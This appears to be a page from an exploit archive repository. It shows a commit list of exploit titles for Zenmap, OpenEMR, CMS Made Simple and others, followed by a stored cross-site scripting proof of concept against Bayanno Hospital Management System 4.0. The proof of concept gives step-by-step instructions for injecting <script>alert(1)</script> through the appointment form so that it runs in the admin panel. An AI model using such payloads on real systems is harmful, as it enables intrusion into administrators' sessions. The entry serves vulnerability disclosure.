d7fa449452
7 changes to exploits/shellcodes Zenmap (Nmap) 7.70 - Denial of Service (PoC) HTML5 Video Player 1.2.5 - Denial of Service (PoC) Zenmap (Nmap) 7.70 - Denial of Service (PoC) InTouch Machine Edition 8.1 SP1 - 'Nombre del Tag' Buffer Overflow (SEH) Android - 'zygote->init;' Chain from USB Privilege Escalation Monstra CMS 3.0.4 - Arbitrary File Upload / Remote Code Execution Monstra CMS 3.0.4 - (Authenticated) Arbitrary File Upload / Remote Code Execution CMS Made Simple 2.2.5 - Remote Code Execution CMS Made Simple 2.2.5 - (Authenticated) Remote Code Execution OpenEMR < 5.0.1 - Remote Code Execution OpenEMR < 5.0.1 - (Authenticated) Remote Code Execution Jorani Leave Management 0.6.5 - 'startdate' SQL Injection Jorani Leave Management 0.6.5 - (Authenticated) 'startdate' SQL Injection OpenEMR 5.0.1.3 - Arbitrary File Actions OpenEMR 5.0.1.3 - (Authenticated) Arbitrary File Actions WordPress Plugin Gift Voucher 1.0.5 - 'template_id' SQL Injection WordPress Plugin Gift Voucher 1.0.5 - (Authenticated) 'template_id' SQL Injection Bayanno Hospital Management System 4.0 - Cross-Site Scripting
23 lines
No EOL
975 B
Text
23 lines
No EOL
975 B
Text
# Exploit Title: Bayanno Hospital Management System 4.0 - Cross-Site Scripting
|
|
# Date: 2018-09-05
|
|
# Software Link: https://codecanyon.net/item/bayanno-hospital-management-system/5814621
|
|
# Exploit Author: Gokhan Sagoglu
|
|
# Vendor Homepage:: http://creativeitem.com/
|
|
# Version: v4.0
|
|
# Live Demo: http://creativeitem.com/demo/bayanno/index.php?home
|
|
# Category: webapps
|
|
|
|
# 1. Description
|
|
# Due to improper user input management and lack of output encoding, unauthenticated users are able
|
|
# to inject malicious code via making an appointment. Malicious code runs on admin panel.
|
|
|
|
# 2. PoC
|
|
|
|
- To make an appointment go to: /bayanno/index.php?home/appointment
|
|
- Select “New Patient”.
|
|
- Type <script>alert(1)</script> as name.
|
|
- Fill the other fields with proper values.
|
|
- Click on “Book Now” button.
|
|
- Go to admin panel and login as admin: /bayanno/index.php?login
|
|
- To view patients go to: /bayanno/index.php?admin/patient
|
|
- Malicious script will run. |